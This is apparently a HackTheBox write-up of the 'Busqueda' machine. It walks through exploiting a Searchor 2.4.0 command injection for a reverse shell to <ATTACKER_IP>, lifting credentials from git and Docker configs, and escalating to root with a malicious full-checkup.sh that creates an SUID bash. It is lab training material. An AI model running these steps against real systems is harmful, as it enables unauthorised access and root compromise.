> For the complete documentation index, see [llms.txt](https://sayonara.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sayonara.gitbook.io/writeups/hackthebox/machines/busqueda.md).

# Busqueda

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FaeYBx9AqvgepIpIKaV8l%2Fimage.png?alt=media&amp;token=0ca3c213-7159-42fd-be6c-c69a7363d90f" alt=""><figcaption></figcaption></figure></div>

In this write-up, we will solve a box on hackthebox called **`Busqueda`**.

## <mark style="color:red;">Reconaissance</mark>

### <mark style="color:blue;">nmap</mark>

as usual we will start by scanning the open ports and running services

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2F8bR7lHAiSf1wHt3UwLbs%2Fimage.png?alt=media&amp;token=1a34fb39-9975-47f3-85b4-5169ecb99efa" alt=""><figcaption></figcaption></figure></div>

We find 22/tcp\[SSH], 80/tcp\[HTTP].

Going to 80/tcp\[HTTP] we find a redirect to 'searcher.htb'

let's add it to /etc/hosts file

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2F5KKslNixDPB5hTHaqJYP%2Fimage.png?alt=media&amp;token=5b75be3b-b3be-4041-84f2-4e876996ab5d" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FBSMUSNkoLu2ApfRPgRJo%2Fimage.png?alt=media&amp;token=8cee2518-dff2-4594-8d0d-cbacdda1f8fd" alt=""><figcaption></figcaption></figure></div>

## <mark style="color:red;">Foothold as svc user</mark>

if we take a look at the web application we will find in the footer the version of some library

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FtAxGuUBRXTksWhZN4rra%2Fimage.png?alt=media&amp;token=5212ec56-f207-4629-a445-5209b1899408" alt=""><figcaption></figcaption></figure></div>

searching for an exploit for this version in the internet we find an exploit&#x20;

{% embed url="<https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection>" %}

looking at the readme we find a guide on how to use the exploit first we set a listener

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2F97Wvp8Z8kdF5ZL6yHZtA%2Fimage.png?alt=media&amp;token=7aef2d13-dd26-41c5-b739-ccd7cca91b32" alt=""><figcaption></figcaption></figure></div>

you have to download the repository using `git clone`&#x20;

make sure to make the exploit script executable and then use this command

```bash
./exploit.sh searcher.htb <ATTACKER_IP> <LISTENING_PORT>
```

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FdHjofYVN4MbSop30lReW%2Fimage.png?alt=media&amp;token=101d87c9-129e-4d31-890e-175e67e6572e" alt=""><figcaption></figcaption></figure></div>

and you will get a reverse shell as the user **`svc`**

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FghuKE1YfGj5KgsV32wt8%2Fimage.png?alt=media&amp;token=d42e293c-34c1-44c0-ad10-ec5f1b56d5cf" alt=""><figcaption></figcaption></figure></div>

**Upgrade the shell**

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FmbppkTGYQ0XDQurNwsTj%2Fimage.png?alt=media&amp;token=eb36c266-03fd-416e-ad1c-29ffd7eb10a2" alt=""><figcaption></figcaption></figure></div>

you will find the user flag at&#x20;

```
/home/svc/user.txt
```

looking at the web app directory we find a git repository

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FdkTsNLXErF8TU8H41LEv%2Fimage.png?alt=media&amp;token=2895a5c1-ee46-441a-9ecd-da72d779054c" alt=""><figcaption></figcaption></figure></div>

if we take a look at the config file we will find 2 thing a new subdomain and credentials&#x20;

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FODpjpUMKwAAhMiFemU8T%2Fimage.png?alt=media&amp;token=3177fe98-1412-4e5c-95bd-be10f0618843" alt=""><figcaption></figcaption></figure></div>

we have credentials `cody:jh1usoih2bkjaspwe92`&#x20;

if we try those credentials on ssh it will not work

we have also a subdomain called gitea.searcher.htb let's add it to /etc/hosts

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FfVmrfgJx1R3JCKe7eMP9%2Fimage.png?alt=media&amp;token=59d6dd8c-3cc7-4f85-bca2-cc7f628d4d17" alt=""><figcaption></figcaption></figure></div>

let's browse to the subdomain found

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FjrQYuXf3p9S2IrIzoyMd%2Fimage.png?alt=media&amp;token=887f526e-08c4-46e4-a51a-8cd887f89409" alt=""><figcaption></figcaption></figure></div>

if we go to the gitea web application -> Explore -> Users

we will find that there is 2 users cody and administrator

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FtdjaxbdMFPqHL0HNa3fF%2Fimage.png?alt=media&amp;token=3382d91e-45e5-4cd2-8e10-c4a1bd7bcba3" alt=""><figcaption></figcaption></figure></div>

click on sign in in the top right and let's try the credentials we have found in config file inside .git `cody:jh1usoih2bkjaspwe92`&#x20;

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FsQd4Z8lnTlZRyq0IraFK%2Fimage.png?alt=media&amp;token=96b6f079-01df-4431-a9c5-44ebc22d9789" alt=""><figcaption></figcaption></figure></div>

and we are in

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FUx2r1MlISXxTmeu0Fhn8%2Fimage.png?alt=media&amp;token=fbcbd1d0-68ce-4462-b22b-dc5ec083a332" alt=""><figcaption></figcaption></figure></div>

if we try this password for the user svc

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FjjSgdUkPN3LI8k9cDU6w%2Fimage.png?alt=media&amp;token=cd05ac63-a9bb-4bc6-9b6c-6368535f07fa" alt=""><figcaption></figcaption></figure></div>

so we can run sudo as the user svc

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FKVTPLpeJkvplKyDez5lK%2Fimage.png?alt=media&amp;token=e77e5241-ce9b-4301-bb3c-df6c8d412b5f" alt=""><figcaption></figcaption></figure></div>

if we run it

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2Fn4WokUG3QKbZ8QSNVsFC%2Fimage.png?alt=media&amp;token=058ad29d-0551-442a-8119-12b9d2e9c92d" alt=""><figcaption></figcaption></figure></div>

so we can see which docker container processes are running on the machine and we can inspect each one&#x20;

let's see the running containers

```bash
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps *
```

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2Fw7tYmS3atv6tsALnEdsD%2Fimage.png?alt=media&amp;token=14d6dc84-6603-4937-a530-c9b4806d614a" alt=""><figcaption></figcaption></figure></div>

let's inspect the first one but first we need to know the syntax

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FAzi7QURQciLNOJFEhPqQ%2Fimage.png?alt=media&amp;token=7ba7d23e-1153-42cf-b26e-bb0ef1da5be9" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FfhUD246uLpTevQDLZGpd%2Fimage.png?alt=media&amp;token=e4fce48d-17a5-46bd-8639-2285d96877ca" alt=""><figcaption></figcaption></figure></div>

we need to spicify the format

let's search in the google engine about docker inspect format we will get in the documentation <https://docs.docker.com/engine/reference/commandline/inspect/> this&#x20;

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FMHYpvkxRLmzAnRKHraUT%2Fimage.png?alt=media&amp;token=570c0a4e-8083-43f6-8e47-09e807e2e615" alt=""><figcaption></figcaption></figure></div>

let's go to the link in the --format Description <https://docs.docker.com/config/formatting/>

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FjmSSgNsuYp2scMXDcZ52%2Fimage.png?alt=media&amp;token=11babac8-c3c1-443c-8647-b70e59105041" alt=""><figcaption></figcaption></figure></div>

according to chatgpt

`'{{json .Mounts}}'`: this is a Go template expression that extracts the information about mounts from the Docker inspection output and formats it as JSON.

to extract all information about the container we will use **`'{{json .}}'`**

```bash
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' gitea
```

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FVFSSVhGD4NfhMw0Swzha%2Fimage.png?alt=media&amp;token=9b126560-8870-4ea9-8661-5cc062396afd" alt=""><figcaption></figcaption></figure></div>

for json formatting we will use jq since it's already present in the target machine

if it's not there we can copy the result and paste it in a file in the attacking machine and install jq with the command and `sudo apt-get -y install jq` then use it&#x20;

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FqV0ReGz3TjQVTF8jxOI3%2Fimage.png?alt=media&amp;token=99f388ab-9118-4566-97ca-afa8860f793a" alt=""><figcaption></figcaption></figure></div>

if we scroll down we will find gitea db credentials

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FuARj25VrUHSmDfoSv5OC%2Fimage.png?alt=media&amp;token=89d7aa2d-6daa-486b-b2c0-5fa6b75b4871" alt=""><figcaption></figcaption></figure></div>

```
GITEA__database__USER=gitea
GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh
```

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FZ3foXrPBrfMrOgbwCVjk%2Fimage.png?alt=media&amp;token=ab83b49a-e92e-4f34-afa4-6e8fb231f10e" alt=""><figcaption></figcaption></figure></div>

if we scroll down we will find mysql db credentials

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FxHTSWl9uiTRQ2aiIXsbh%2Fimage.png?alt=media&amp;token=ba28a6c6-d294-487f-aa7b-0fd9eba64d73" alt=""><figcaption></figcaption></figure></div>

```
MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF
MYSQL_USER=gitea
MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh
MYSQL_DATABASE=gitea
```

let's try this passwords and login to the gitea app as administrator

the one that make us sign in as administrator is **`yuiu1hoiu4i5ho1uh`**&#x20;

now as administrator let's take a look at the repositories

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2F1QKvCd9qqaaeul2K9xfB%2Fimage.png?alt=media&amp;token=d235dde1-2e55-40ad-9fc0-3c0ca54e1312" alt=""><figcaption></figcaption></figure></div>

and let's take a look at the **administrator/scripts**

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FN8QDRIol88ZyAULFT3aY%2Fimage.png?alt=media&amp;token=543a4954-ae88-4124-8495-545443e65f91" alt=""><figcaption></figcaption></figure></div>

and this files are the one in the /opt/scripts directory

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2F7VLLtsB0oSHQstc4oVgi%2Fimage.png?alt=media&amp;token=f7d4b752-a9a9-41c3-ab27-689a9e642d05" alt=""><figcaption></figcaption></figure></div>

so now we can read this files as administrator from the repository

**Discovering the system-checkup.py script is not using an absolute path**

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FrQAa0gS2q7EqqjnWVFtQ%2Fimage.png?alt=media&amp;token=b96b9b44-013b-4ee2-a5e3-171b2ce34d3b" alt=""><figcaption></figcaption></figure></div>

We now attempt to leverage the relative reference to full-checkup.sh by executing the system-checkup script from another writable directory that will contain our own malicious full-checkup.sh script.

we have to options where we can write our malicious script, **/tmp** directory or **/dev/shm** directory

```bash
nano full-checkup.sh

#!/bin/bash
cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash

sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

/tmp/rootbash -p
```

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FOru5WLgO1pA3nnLPttuq%2Fimage.png?alt=media&amp;token=de4295f6-5f82-4526-a54a-8f66a7bb6d46" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://1410593648-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYI2noEqPw69jd0hR7Prp%2Fuploads%2FFmDD1O7C3om9lT8vFZrg%2Fimage.png?alt=media&amp;token=7cb25b8f-879d-41b8-bec3-fcba4c1fabe8" alt=""><figcaption></figcaption></figure></div>

hope you found this walkthrough easy to understand and follow

Greeting From [<mark style="color:red;">**Sayonara**</mark>](https://github.com/ismail-arame)
